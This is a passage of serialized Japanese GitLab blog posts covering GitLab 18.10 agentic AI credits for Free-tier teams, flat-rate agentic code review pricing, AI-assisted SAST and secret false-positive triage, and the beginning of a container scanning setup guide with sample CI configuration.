Chat（エージェント）で[プランナーエージェント](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/planner/)を開き、必要な内容を自然言語で記述します。エージェントがそれを構造化された作業アイテム（説明、ラベル、関連付けを含むイシュー）に分解し、プロジェクトに直接作成します。これまで手作業のイシュー整理に半日かかっていた作業が、わずか数分で完了します。\n\n作成されたイシューの1つを選び、[デベロッパーフロー](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/flows/foundational_flows/developer/)を割り当てて作業を開始します。エージェントがイシューのコンテキストを読み取り、要件に沿ったコードを生成し、テストを実行して、レビュー用のマージリクエストを作成します。リファクタリングや拡張、プロジェクトのコンテキスト内でのコード説明など、より反復的な作業には[GitLab Duo Chat（エージェント）](https://docs.gitlab.com/ja-jp/user/gitlab_duo_chat/agentic_chat/)も活用できます。\n\nマージリクエストの準備が整うと、[コードレビューフロー](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/flows/foundational_flows/code_review/)が多段階の自動レビューを実行します。変更内容のスキャン、リポジトリコンテキストの取り込み、差分に紐づいた構造化されたインラインフィードバックの投稿が行われます。人間のレビュアーは初回の機械的なチェックを省略し、アーキテクチャやビジネスロジックに集中できます。\n\nパイプラインが失敗した場合は、[CI/CDパイプライン修正フロー](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/flows/foundational_flows/fix_pipeline/)がエラーログを読み取り、根本原因を特定して修正案を提示します。チームは、ジョブログを手動で確認しなくても、解決の糸口を得ることができます。\n\nGitLab Duo Agent Platformは、1つのクレジットプールでソフトウェア開発をイテレーションからデプロイまで支援します。\n\nエージェントとワークフローの利用開始は簡単で、計画からデプロイまで3分以内で完了します。詳細はこちらのデモをご覧ください。\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1175244743?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"18.10 Main Demo V2\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## 定額コードレビュー：スケールしてもコストを予測可能\n\nGitLab Duo Agent Platformで利用できるすべてのワークフローの中で、自動コードレビューはコストが予測可能であるという点で、最も早く価値を実感できる機能です。\n\nコードレビューフローの料金は、マージリクエストのサイズやリポジトリの複雑さ、内部で実行されるステップ数に関係なく、レビュー1回あたり一律0.25 GitLabクレジットとなります。4回のレビューで1クレジットです。チームが月に500件のマージリクエストを処理する場合でも50,000件の場合でも、レビュー数に基づいてコストを直接予測できます。\n\nこの数字をもう少し詳しく見てみましょう。手動のコードレビューはコストだけでなく時間もかかり、コンテキストスイッチングが絶えず必要になるため、開発に支障をきたします。コードレビューフローによる時間の節約は、レビュー量の増加に伴い大幅なコスト削減につながる可能性があります。キューで待機させるのではなく、数百件のレビューを同時に実行できるため、時間の節約とコスト削減の効果が急速かつ複合的に高まります。\n\nGitLabのFreeプランを利用しているチームは、月間クレジットプールのうちコードレビューに充てる割合を正確に把握し、計画を立てることが可能です。\n\n> [コードレビューフローの仕組み](https://about.gitlab.com/ja-jp/blog/agentic-code-reviews-with-flat-rate-pricing/)と、エンジニアリング組織のスケーリングにおける意義について詳しくご確認ください。\n\n## Premiumで価値を最大化\n\nFreeプランのGitLabクレジットは、エージェント型AIへの直接的な道筋を提供します。チームがGitLabをより幅広く活用している場合、Premiumは経済性と機能の両方を兼ね備えた選択肢です。\n\n月額29ドル/ユーザーの[GitLab Premium](https://about.gitlab.com/ja-jp/pricing/)には、プロモーションオファーとしてユーザーあたり12 GitLabクレジットが含まれています。20人のチームであれば、追加費用なしで月240クレジットを利用でき、約960回の自動コードレビュー、またはコードレビュー、計画、開発ワークフロー、パイプライン修正を組み合わせた利用が可能です。\n\nGitLab Duo Agent Platformは、Premiumが提供する機能の一部にすぎません。大量パイプライン向けの高度なCI/CD、ガバナンスのためのマージ承認とコードオーナー、プロジェクト全体で統一されたコンテキストを持つ単一データレイヤー内で動作するAIも含まれています。\n\nFreeプランでクレジットを使用し、AIがワークフローの中心になりつつあると感じているチームにとって、プロモーションクレジットが含まれるPremiumが次の選択肢となるのは自然の流れでしょう。Premiumでは、より多くのプラットフォーム機能を利用でき、チームとともに成長する基盤となります。\n\n## 今すぐ始めましょう\n\nGitLab 18.10はすでに提供が開始されており、すぐにご利用いただけます。エージェント型AIでスピードアップしたいチームも、現在の作業方法を支えるフルプラットフォームが必要なチームも、ソフトウェア開発プロセスを加速するための明確な道筋があります。\n\n* **FreeプランのGitLab.comをご利用のチーム：** グループの請求設定から[GitLab クレジットの月額コミットメントを購入](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/#for-the-free-tier-on-gitlabcom)し、今すぐGitLab Duo Agent Platformの利用を開始してください。\n* **フルプラットフォームを検討されているチーム：** [チームに最適なGitLabサブスクリプションを見つける](https://docs.gitlab.com/ja-jp/subscriptions/choosing_subscription/)か、[GitLab Ultimateの無料トライアルを開始](https://about.gitlab.com/ja-jp/free-trial/)してください。\n\nチームへのクレジット設定は迅速かつ簡単です。詳細はこちらのデモをご覧ください。\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1175238100?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Credits Purchase Flow\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n- - -\n\n## FAQ\n\n**GitLabクレジットの月額コミットメントとは何ですか**\n\n月額コミットメントは、グループオーナーがグループ全体の共有プールとして適用されるクレジット数を選択する、使用量ベースの購入オプションです。チームがGitLab Duo Agent Platformの機能を使用するとクレジットが消費されます。詳細は[GitLabクレジットのドキュメント](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/)をご確認ください。\n\n**現在、GitLabクレジットを購入できるのは誰ですか**\n\nGitLab PremiumおよびUltimateのお客様は、プロモーションクレジットがすでにサブスクリプションに含まれています。18.10以降、FreeプランのGitLab.comトップレベルグループネームスペースでも、セルフサービスのグループ請求を通じてクレジットの月額コミットメントを購入できるようになりました。最新の対象条件については、[GitLabクレジットのドキュメント](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/)をご確認ください。\n\n**Freeプランでクレジットによって利用可能になるAI機能は何ですか**\n\nクレジットを持つチームは、PremiumおよびUltimateのお客様と同じエージェント型AI機能とモデルにアクセスできます。プランナーエージェント、デベロッパーフロー、コードレビューフロー、CI/CDパイプライン修正フロー、GitLab Duo Chat（エージェント）、コード提案、カスタムエージェントとワークフローなどが含まれます。全機能の一覧は[Duo Agent Platformドキュメント](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/)をご確認ください。\n\n**自動コードレビューの費用はいくらですか**\n\nコードレビューフローは、マージリクエストのサイズや複雑さに関係なく、レビュー1回あたり一律0.25 GitLabクレジットの定額料金です。最新の価格詳細については、[コードレビューフローのドキュメント](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/flows/foundational_flows/code_review/)をご確認ください。\n\n**Freeプラン＋クレジットからGitLab Premiumにアップグレードできますか**\n\nGitLab 18.10では、営業担当を通じて月額クレジットコミットメントを持つ無料ネームスペースからPremiumへのアップグレードを利用可能です。オプションについては[GitLab営業チーム](https://about.gitlab.com/ja-jp/contact-sales/)にお問い合わせください。",[1119],"Talia Armato-Helle","GitLab 18.10：エージェント型AIがさらに多くのチームで利用可能に",[793,745],"GitLab.comのFreeプランを利用するチームがGitLabクレジットを購入することで、定額の自動コードレビューを含むAIエージェントとワークフローを利用できるようになりました。",{"featured":13,"template":796,"slug":1124},"gitlab-18-10-agentic-ai-now-open-to-even-more-teams-on-gitlab",{"content":1126,"config":1134},{"heroImage":1127,"body":1128,"authors":1129,"updatedDate":788,"date":1109,"title":1130,"tags":1131,"description":1133,"category":745},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772721753/frfsm1qfscwrmsyzj1qn.png","コードレビューは今や、完全に予算外のボトルネックになりつつあります。AIの支援により、開発者はかつてないスピードでコードをリリースしていますが、レビューはそのスピードに追いついていません。AIコーディングツールを導入したチームでは、コードレビューにかかる時間が[91%増加](https://byteiota.com/ai-code-review-bottleneck-kills-40-of-productivity/)しています。大企業のエンジニアは、プルリクエストがマージされるまで平均[13時間待つ](https://dzone.com/articles/shifting-bottleneck-how-ai-is-reshaping-the-sdlc)という状況であり、[エンジニアリングチームの44%](https://techcrunch.com/2026/03/09/anthropic-launches-code-review-tool-to-check-flood-of-ai-generated-code/)が「コードレビューの遅れがデリバリーにとって最大のボトルネック」と回答しています。\n\nこうした課題に対し、AIを活用したレビューツールが次々と登場しています。しかし、その多くには落とし穴があります。それは、変更の規模や複雑さによって料金が変わるトークン課金モデルのため、コストを予測できないという点です。新しいツールの中には、1件あたり15〜25ドルかかるものもあります。このような料金体系では、チームは優先度の高い変更のみに絞ってレビューを行うことになり、結局、レビュー待ちの行列は解消されません。\n\n今回ご紹介するGitLab Duo Agent Platform内のエージェント型AI機能であるコードレビューフローは、1件のレビューあたり0.25ドルの定額制です。すべてのマージリクエスト、すべてのプロジェクトにおいて、毎回同じ料金で利用できます。\n\n## 仕組み\n\nマージリクエストが作成されると、コードレビューフローは自動的にマルチステップのレビューを実行します。変更内容のスキャン、関連するリポジトリのコンテキストの調査、パイプライン・セキュリティの検出結果・コンプライアンス要件との照合、そして構造化されたインラインフィードバックの生成までを自動で行います。\n\nレビュー結果は、差分の変更だけでなく、プロジェクトで実際に起きていることを踏まえた内容になります。また、GitLab内で動作するため、スタンドアロンツールでは実現できないことが可能です。エンジニア1人のIDEで1件ずつ処理するのではなく、組織全体で数百件のレビューを並行して実行できます。\n\nコードレビューの動作をデモでご確認ください：\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1174920981?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"18.10 DAP Code Review\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## シンプルな計算、確かなコスト削減\n\n1件のレビューコストは0.25 GitLabクレジット（定価0.25ドル）です。つまり、1クレジットで4件のレビューを実行できます。月に500件のマージリクエストをマージするチームでも、50,000件のチームでも、計算式は同じです。\n\nトークンの見積もりは不要です。マージリクエストの複雑さによってコストが変わることもありません。スプレッドシートで計算できる、1件あたりの定額コストです。\n\n参考までに、シニアエンジニアが手動でコードレビューを行うと、1件あたり約15分、つまり約25ドルの人件費がかかります。自動レビューであれば0.25ドルで済むため、1件あたりのコストを99%削減できます。さらに、レビューはキューで待機するのではなく、並行して実行されます。このため、コスト削減だけでなく、マージリクエストのブロックが数時間ではなく数分で解消されます。\n\n## 定額制がゲームチェンジャーになる理由\n\n従量課金制では、どのマージリクエストにAIレビューを適用するかを選択せざるを得ませんでした。しかし、0.25ドルであれば、選択は不要です。すべてに適用することができます。\n\n**すべてのマージリクエスト、すべてのプロジェクトで実行。** コードレビューフローをすべてのマージリクエストで自動的にトリガーするよう設定できます。エージェントがキューを処理する間、エンジニアはアーキテクチャやメンタリングに集中できます。\n\n**スケールにかかわらず一貫した標準を適用可能。** プロジェクトごとにカスタムのマージレビュー手順を定義できます。あるプロジェクトは組み込みフローを使用し、別のプロジェクトはClaude CodeやCodexを使用し、さらに別のプロジェクトはカスタムエージェントを実行する、といった構成も可能です。すべてが並行して実行され、それぞれのガードレールに沿って、一か所で確認できます。\n\n**レビューキューのボトルネックを解消。** 最近のソフトウェア開発でボトルネックとなっているのは、コード作成ではなく、レビューの完了を待つことです。定額制で、並行して実行できるAIレビューにより、数日かかっていたキューが数分のプロセスに変わります。\n\n> **GitLabクレジットについて** GitLabクレジットはDuo Agent Platformの利用量を示す単位で、1クレジット＝1ドルに相当します。[GitLabクレジットの仕組み](https://docs.gitlab.com/ja-jp/subscriptions/gitlab_credits/#buy-gitlab-credits)についてはこちらをご覧ください。\n\n## 今すぐ始める\n\nエージェント型コードレビューの0.25ドル定額料金は、GitLab.com、Dedicated、または18.8.4以降のSelf-ManagedインスタンスでGitLab Duo Agent Platformをご利用の場合、今すぐ利用可能です。今すぐコードレビューフローをデフォルトで有効にして、チームが作成するすべてのマージリクエストに適用しましょう。\n\n![エージェント型コードレビューを適用する](https://res.cloudinary.com/about-gitlab-com/image/upload/v1774273288/zoyqfwsb81v9lv7y8ddf.png)\n\n> [GitLab Duo Agent Platformの無料トライアルを開始](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_apac_brand_x_x_ja_gitlabjapanblogseo_agentic-code-reviews-with-flat-rate-pricing)して、実際の動きをご確認ください。すでにGitLabをご利用いただいているお客様は、ご担当の営業担当者にお問い合わせください。",[1056],"エージェント型コードレビューを1件0.25ドルで",[1132,793,745],"code review","ソフトウェアデリバリーにおいてボトルネックとなっているコードレビュー。手頃な価格のエージェント型コードレビューをすべてのマージリクエストにデフォルト適用することで、その悩みを解消できます。",{"featured":641,"template":796,"slug":1135},"agentic-code-reviews-with-flat-rate-pricing",{"category":104,"slug":757,"posts":1137},[1138,1149,1159],{"content":1139,"config":1147},{"heroImage":784,"body":1140,"authors":1141,"updatedDate":1143,"date":1109,"title":1144,"tags":1145,"description":1146,"category":757},"GitLab 18.10では、脆弱性管理の品質とスピードの向上に焦点を当て、AIを活用したさまざまな新しいセキュリティ機能が導入されました。これらの機能を組み合わせることで、デベロッパーが誤検出の調査に費やす時間を削減し、自動修正をワークフローに直接組み込めるようになるため、セキュリティの専門知識がなくても脆弱性を修正できる環境が実現します。\n\n新機能の概要は以下のとおりです。\n\n* **[静的アプリケーションセキュリティテスト（SAST）の誤検出判定](https://docs.gitlab.com/ja-jp/user/application_security/vulnerabilities/false_positive_detection/)** **の一般提供が開始されました。** このフローでは、LLMによるエージェント型推論を使用して、脆弱性が誤検出である可能性を判定できるため、セキュリティチームと開発チームは重大な脆弱性の修正に優先的に取り組めるようになります。\n* **[エージェント型SAST脆弱性の修正](https://docs.gitlab.com/ja-jp/user/application_security/vulnerabilities/agentic_vulnerability_resolution/)** **がベータ版として提供開始されました。** エージェント型SAST脆弱性解決は、検証済みのSAST脆弱性に対する修正案を含むマージリクエストを自動的に作成します。修正までの時間が短縮され、高度なセキュリティ専門知識の必要になるケースが少なくなります。\n* **[シークレットの誤検出判定機能](https://docs.gitlab.com/ja-jp/user/application_security/vulnerabilities/secret_false_positive_detection/)** **がベータ版として提供開始されました。** このフローは、AIを活用したノイズ削減をシークレット検出にも適用し、ダミーやテスト用のシークレットにフラグを付けてレビューの負担を軽減します。\n\nこれらのフローは、GitLab Duo Agent Platformを使用するGitLab Ultimateのお客様にご利用いただけます。\n\n## SASTの誤検出判定機能でトリアージ時間を短縮\n\n従来のSASTスキャナーは、コードパスが到達可能かどうかや、フレームワークが既にリスクを処理しているかどうかに関係なく、疑わしいコードパターンにすべてフラグ付けしていました。ランタイムコンテキストがなければ、実際の脆弱性と危険に見えるだけの安全なコードを区別できません。\n\nそのため、デベロッパーは誤検出と判明するまで、検出結果の調査に何時間も費やす可能性がありました。時間の経過とともにレポートへの信頼が低下し、実際のリスクの修正を担当するチームの作業が遅延する原因となっていたのです。\n\n各SASTスキャンの後、GitLab Duo Agent Platformは新しい「致命的」と「高」の重大度の検出結果を自動的に分析し、以下の情報を付加します。\n\n* 検出結果が誤検出である可能性を示す信頼度スコア\n* AI生成による判定理由の説明\n* UIにより「誤検出の可能性が高い」と「実際の脆弱性の可能性が高い」を簡単に目視で識別できるバッジ\n\nこれらの検出結果は、以下のように[脆弱性レポート](https://docs.gitlab.com/ja-jp/user/application_security/vulnerability_report/)に表示されます。レポートをフィルタリングして「誤検出ではない」とマークされた検出結果を絞り込むことで、チームはノイズの選別ではなく実際の脆弱性への対応に時間を使えるようになります。\n\n![脆弱性レポート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1773844787/i0eod01p7gawflllkgsr.png)\n\nGitLab Duo Agent Platformの評価はあくまで推奨事項です。すべての誤検出の判定はユーザーが管理でき、エージェントの推論をいつでも監査して信頼性の高いモデルを構築できます。\n\n## 脆弱性を自動修正に変換\n\n実際に脆弱性であると判明しても、まだ作業の半分が完了したにすぎません。修正には、コードパスの理解、安全なパッチの作成、他の部分への影響がないことの確認が必要です。\n\nSASTの誤検出判定フローによって脆弱性が誤検出ではない可能性が高いと判定された場合、エージェント型SAST脆弱性解決フローが自動的に以下を実行します。\n\n1. リポジトリから脆弱なコードとその周辺のコンテキストを読み取る\n2. 高品質な修正案を生成する\n3. 自動テストによって修正を検証する\n4. 以下を含む修正案のマージリクエストを作成する：\n\n   * 具体的なコード変更\n   * 信頼度スコア\n   * 変更内容とその理由の説明\n\nこのデモでは、GitLabがSAST脆弱性を検出からレビュー可能なマージリクエストまで自動的に処理する様子をご覧いただけます。エージェントがコードを読み取り、修正を生成・検証し、明確で説明可能な変更を含むMRを作成する流れをご確認ください。デベロッパーにセキュリティの専門知識がなくても、より迅速に修正を行えるようになります。\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1174573325?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab 18.10 AI SAST False Positive Auto Remediation\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\nAI生成の提案と同様に、マージを行う前に提案されたマージリクエストを慎重にレビューしてください。\n\n## 実際のシークレットを特定\n\nシークレット検出は、チームが結果を信頼できて初めて有用なものとなります。レポートにテスト用の認証情報やプレースホルダーの値、サンプルトークンが大量に含まれていると、デベロッパーは実際の漏洩を修正するよりも、ノイズのレビューに時間を浪費してしまう可能性があります。その結果、修正が遅延し、スキャンへの信頼が低下しかねません。\n\nシークレットの誤検出判定機能は、チームが重要なシークレットに集中し、より迅速にリスクを軽減できるよう支援します。この機能がデフォルトブランチで実行されると、自動的に以下が行われます。\n\n1. 各検出結果を分析し、テスト用の認証情報、サンプル値、ダミーシークレットの可能性を特定する\n2. 検出結果が実際のリスクか誤検出の可能性が高いかの信頼度スコアを付与する\n3. 実際のシークレット、ノイズのいずれかとして扱われる理由の説明を生成する\n4. 脆弱性レポートにバッジを追加し、デベロッパーがステータスを一目で確認できるようにする\n\nデベロッパーは、脆弱性レポートからシークレット検出の結果に対して「**誤検出を確認**」を選択することで、この分析を手動でトリガーすることもできます。リスクのない検出結果を除外し、実際のシークレットへの対応をより速やかに開始できます。\n\n## AIを活用したセキュリティ機能を今すぐお試しください\n\nGitLab 18.10では、SASTとシークレット検出における誤検出ノイズの削減から、修正案を含むマージリクエストの自動生成まで、脆弱性ワークフロー全体をカバーする機能が導入されました。\n\nAIを活用したセキュリティ機能がレビュー時間の短縮と検出結果のマージ可能な修正への変換にどのように役立つかをご確認いただくには、[GitLab Duo Agent Platformの無料トライアルを今すぐ開始](https://about.gitlab.com/ja-jp/gitlab-duo-agent-platform/?utm_medium=blog&utm_source=blog&utm_campaign=eg_apac_brand_x_x_ja_gitlabjapanblogseo_gitlab-18-10-brings-ai-native-triage-and-remediation)してください。",[1142],"Alisa Ho","2026-03-25","GitLab 18.10がAIネイティブなトリアージと修正機能を導入",[745,757,793],"ノイズを排除して実際の脆弱性を特定し、修正案につなげるGitLab Duo Agent Platformの機能をご紹介します。",{"featured":641,"template":796,"slug":1148},"gitlab-18-10-brings-ai-native-triage-and-remediation",{"content":1150,"config":1157},{"heroImage":1127,"body":1151,"authors":1152,"updatedDate":1042,"date":834,"title":1154,"tags":1155,"description":1156,"category":757},"コンテナの脆弱性は、次のデプロイメントを待ってくれるわけではありません。イメージのビルド時や、コンテナが本番環境で稼働している間など、あらゆるタイミングで発生する可能性があります。\nGitLab はこうした現実に対応するため、コンテナライフサイクルのさまざまな段階に対応した複数のコンテナスキャンアプローチを提供しています。\n\n本ガイドでは、GitLab が提供するコンテナスキャンの種類、各機能の有効化方法、および初期設定に役立つ一般的な構成についてご説明します。\n\n## コンテナスキャンが重要な理由\n\nコンテナイメージのセキュリティ脆弱性は、アプリケーションライフサイクル全体にわたってリスクをもたらします。ベースイメージ、OSパッケージ、アプリケーションの依存関係はいずれも、攻撃者が積極的に悪用する脆弱性を含んでいる可能性があります。コンテナスキャンはこれらのリスクを早期に、本番環境に到達する前に検出し、利用可能な場合は修正方法を提供します。\n\nコンテナスキャンはソフトウェアコンポジション分析（SCA）の重要なコンポーネントであり、コンテナ化されたアプリケーションが依存する外部依存関係を把握し、保護するために役立ちます。\n\n## GitLab コンテナスキャンの5つの種類\n\nGitLab は5つの異なるコンテナスキャンアプローチを提供しており、それぞれがセキュリティ戦略において固有の目的を果たします。\n\n### 1. パイプラインベースのコンテナスキャン\n\n* 機能：CI/CDパイプラインの実行中にコンテナイメージをスキャンし、デプロイ前に脆弱性を検出します。\n* 最適な用途：シフトレフトセキュリティ、脆弱性のあるイメージが本番環境に到達するのを防止\n* 利用可能なプラン：Free、Premium、Ultimate（Ultimateではより高度な機能を利用可能）\n* [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/container_scanning/)\n\nGitLab は Trivy セキュリティスキャナーを使用してコンテナイメージの既知の脆弱性を分析します。パイプラインの実行時にスキャナーがイメージを検査し、詳細なレポートを生成します。\n\n#### パイプラインベースのコンテナスキャンを有効にする方法\n\n**オプション A：事前設定済みのマージリクエスト**\n\n* プロジェクトで **Secure > セキュリティ設定** に移動します。\n* 「コンテナスキャン」の行を見つけます。\n* **マージリクエストで設定** を選択します。\n* 必要な設定を含むマージリクエストが自動的に作成されます。\n\n**オプション B：手動設定**\n\n* `.gitlab-ci.yml` に以下を追加します。\n\n```yaml\ninclude:\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n```\n\n#### 一般的な設定\n\n**特定のイメージをスキャンする：**\n\n特定のイメージをスキャンするには、`container_scanning` ジョブの `CS_IMAGE` 変数を上書きします。\n\n```yaml\ninclude:\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n\ncontainer_scanning:\n  variables:\n    CS_IMAGE: myregistry.com/myapp:latest\n```\n\n**重大度のしきい値でフィルタリングする：**\n\n特定の重大度基準を持つ脆弱性のみを検出するには、`container_scanning` ジョブの `CS_SEVERITY_THRESHOLD` 変数を上書きします。以下の例では、重大度が **High** 以上の脆弱性のみが表示されます。\n\n```yaml\ninclude:\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n\ncontainer_scanning:\n  variables:\n    CS_SEVERITY_THRESHOLD: \"HIGH\"\n```\n\n#### マージリクエストでの脆弱性の確認\n\nマージリクエスト内でコンテナスキャンの脆弱性を直接確認することで、セキュリティレビューをシームレスかつ効率的に実施できます。CI/CDパイプラインにコンテナスキャンを設定すると、GitLab はマージリクエストの[セキュリティウィジェット](https://docs.gitlab.com/ja-jp/user/project/merge_requests/widgets/#application-security-scanning)に検出された脆弱性を自動的に表示します。\n\n![マージリクエストに表示されたコンテナスキャンの脆弱性](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547514/lt6elcq6jexdhqatdy8l.png \"マージリクエストに表示されたコンテナスキャンの脆弱性\")\n\n* マージリクエストの「セキュリティスキャン」セクションまでスクロールすると、コンテナイメージで新たに検出された脆弱性と既存の脆弱性の概要が確認できます。\n* **脆弱性** をクリックすると、重大度レベル、影響を受けるパッケージ、利用可能な修正ガイダンスなど、検出内容の詳細情報にアクセスできます。\n\n![GitLab セキュリティ - MRでの詳細表示](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547514/hplihdlekc11uvpfih1p.png)\n\n![GitLab セキュリティ - MRでの詳細表示](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/jnxbe7uld8wfeezboifs.png \"MRでのコンテナスキャン脆弱性の詳細\")\n\nこの可視性により、開発者とセキュリティチームはコンテナの脆弱性が本番環境に到達する前に発見・対処できるようになり、セキュリティがコードレビュープロセスに統合されます。\n\n#### 脆弱性レポートでの脆弱性の確認\n\nマージリクエストのレビューに加え、GitLab はプロジェクト内のすべてのコンテナスキャン結果を一元的に確認できる[脆弱性レポート](https://docs.gitlab.com/ja-jp/user/application_security/vulnerability_report/)を提供しており、セキュリティチームに包括的な可視性をもたらします。\n\n![コンテナスキャンでフィルタリングされた脆弱性レポート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547524/gagau279fzfgjpnvipm5.png \"コンテナスキャンでフィルタリングされた脆弱性レポート\")\n\n* プロジェクトのサイドバーで **セキュリティとコンプライアンス > 脆弱性レポート** に移動してレポートにアクセスします。\n* ここでは、ブランチ全体で検出されたすべてのコンテナ脆弱性が集約されて表示され、重大度、ステータス、スキャナーの種類、特定のコンテナイメージでフィルタリングする強力なオプションが利用できます。\n* 脆弱性をクリックすると、脆弱性ページにアクセスできます。\n\n![脆弱性ページ - 1番目のビュー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547520/e1woxupyoajhrpzrlylj.png)\n\n![脆弱性ページ - 2番目のビュー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547521/idzcftcgjc8eryixnbjn.png)\n\n![脆弱性ページ - 3番目のビュー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547522/mbbwbbprtf9anqqola10.png \"コンテナスキャン脆弱性の詳細\")\n\n[脆弱性の詳細](https://docs.gitlab.com/ja-jp/user/application_security/vulnerabilities/)では、影響を受けるコンテナイメージとレイヤーが正確に示されるため、脆弱性の発生源を容易に追跡できます。脆弱性をチームメンバーに割り当て、ステータスを変更（検出済み、確認済み、解決済み、却下済み）し、コラボレーションのためのコメントを追加し、修正作業の追跡のために関連するイシューをリンクすることができます。\n\nこのワークフローにより、脆弱性管理がスプレッドシートによる管理から開発プロセスの一部へと変わり、コンテナセキュリティの検出結果が体系的に追跡・優先順位付け・解決されるようになります。\n\n#### 依存関係リストの確認\n\nGitLab の[依存関係リスト](https://docs.gitlab.com/ja-jp/user/application_security/dependency_list/)は、コンテナイメージ内のすべてのコンポーネントをカタログ化した包括的なソフトウェア部品表（SBOM）を提供し、ソフトウェアサプライチェーンの完全な透明性をもたらします。\n\n* **セキュリティとコンプライアンス > 依存関係リスト** に移動すると、プロジェクト全体でコンテナスキャンが検出したすべてのパッケージ、ライブラリ、依存関係のインベントリにアクセスできます。\n* このビューは、ベースOSパッケージからアプリケーションレベルの依存関係まで、コンテナ内で実際に稼働しているものを把握するために非常に役立ちます。\n\n![GitLab 依存関係リスト](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/vjg6dk3nhajqamplroji.png \"GitLab 依存関係リスト（SBOM）\")\n\nパッケージマネージャー、ライセンスの種類、または脆弱性のステータスでリストをフィルタリングすることで、セキュリティリスクやコンプライアンス上の問題をもたらすコンポーネントを素早く特定できます。各依存関係エントリには関連する脆弱性が表示されるため、単独の検出結果としてではなく、実際のソフトウェアコンポーネントのコンテキストでセキュリティの問題を把握できます。\n\n### 2. レジストリ向けコンテナスキャン\n\n* 機能：`latest` タグで GitLab コンテナレジストリにプッシュされたイメージを自動的にスキャンします。\n* 最適な用途：手動のパイプラインを実行することなく、レジストリイメージの継続的なモニタリングを実施\n* 利用可能なプラン：Ultimate のみ\n* [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/container_scanning/#container-scanning-for-registry)\n\n`latest` タグが付いたコンテナイメージをプッシュすると、GitLab のセキュリティポリシーボットがデフォルトブランチに対してスキャンを自動的にトリガーします。パイプラインベースのスキャンとは異なり、このアプローチは継続的脆弱性スキャンと連携して、新たに公開されたアドバイザリーを監視します。\n\n#### レジストリ向けコンテナスキャンを有効にする方法\n\n1. **Secure > セキュリティ設定** に移動します。\n2. **レジストリ向けコンテナスキャン** セクションまでスクロールします。\n3. 機能をオンに切り替えます。\n\n![レジストリ向けコンテナスキャン](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547512/vntrlhtmsh1ecnwni5ji.png \"レジストリ向けコンテナスキャンの切り替えスイッチ\")\n\n#### 前提条件\n\n* プロジェクトのメンテナーロール以上\n* プロジェクトが空でないこと（デフォルトブランチに少なくとも1つのコミットが必要）\n* コンテナレジストリの通知が設定済みであること\n* パッケージメタデータデータベースが設定済みであること（GitLab.com ではデフォルトで有効）\n\n脆弱性は脆弱性レポートの **コンテナレジストリの脆弱性** タブに表示されます。\n\n### 3. マルチコンテナスキャン\n\n* 機能：単一のパイプライン内で複数のコンテナイメージを並行してスキャンします。\n* 最適な用途：マイクロサービスアーキテクチャや複数のコンテナイメージを持つプロジェクト\n* 利用可能なプラン：Free、Premium、Ultimate（現在ベータ版）\n* [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/container_scanning/multi_container_scanning/)\n\nマルチコンテナスキャンは動的な子パイプラインを使用してスキャンを並行実行するため、複数のイメージをスキャンする際のパイプライン全体の実行時間を大幅に短縮できます。\n\n#### マルチコンテナスキャンを有効にする方法\n\n1. リポジトリのルートに `.gitlab-multi-image.yml` ファイルを作成します。\n\n```yaml\nscanTargets:\n  - name: alpine\n    tag: \"3.19\"\n  - name: python\n    tag: \"3.9-slim\"\n  - name: nginx\n    tag: \"1.25\"\n```\n\n2. `.gitlab-ci.yml` にテンプレートを追加します。\n\n```yaml\ninclude:\n  - template: 